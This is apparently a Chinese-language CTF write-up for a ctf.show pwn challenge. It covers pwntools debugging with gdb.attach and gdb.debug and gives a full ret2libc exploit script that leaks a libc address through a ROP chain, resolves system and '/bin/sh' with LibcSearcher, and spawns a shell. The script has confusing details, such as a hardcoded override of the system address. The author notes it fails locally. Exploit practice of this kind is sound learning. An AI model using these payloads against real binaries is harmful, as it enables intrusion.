好像是可以打ret2libc的，来研究下为什么写的脚本出错了，这里要用到附加调试

附加调试

使用 gdb.attach 前需要对应的配置，未开启PIE和开启PIE有些许差别

gdb.attach(io,"b *0x40071D")
# gdb.attach(io,"b *$rebase(0x9B1)")
pause()

这样便可以进行附加调试了，这里要注意的是断点要下在有输入的地方后面断点

也可以用 gdb.debug( )进行调试

io=gdb.debug("pwn","b main")
# gdb.debug("pwn","b *0x40072C")

虽然远程打通了但是未能找到本地不能打通这个问题的根源，摸索途中想到的一些东西得明天才能下定论

from pwn import *
from LibcSearcher import *

# io = remote('pwn.challenge.ctf.show',28179)
io = process("./pwn")
# gdb.debug("pwn","b main")
# gdb.debug("pwn","b *0x40072C")
elf = ELF('./pwn')
# libc= ELF(elf.libc.path)

# gdb.attach(io,"b *0x400736")
# pause()

ret_add = 0x00000000004004fe
pop_rdi = 0x00000000004007f3
main_add = 0x000000000040071D
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
gets_got = elf.got['gets']

print("Puts_got: ",hex(puts_got))
print("Puts_plt: ",hex(puts_plt))

offset=0x0A

payload1 = b'a' * (offset+8) + p64(pop_rdi) + p64(gets_got) + p64(puts_plt) + p64(main_add)
io.sendline(payload1)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("Put_addr: ",hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)   # libc6_2.35-0ubuntu3.8_amd64

libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
system_add = 0x0000000000400744
bin_sh_add = libc_base + libc.dump('str_bin_sh')

# # libc_base = puts_addr - libc.symbols['puts']
# # system_add = libc_base + libc.symbols['system']
# # bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))

payload2 = b'a' * (offset+8)+ p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)

io.sendline(payload2)

io.interactive()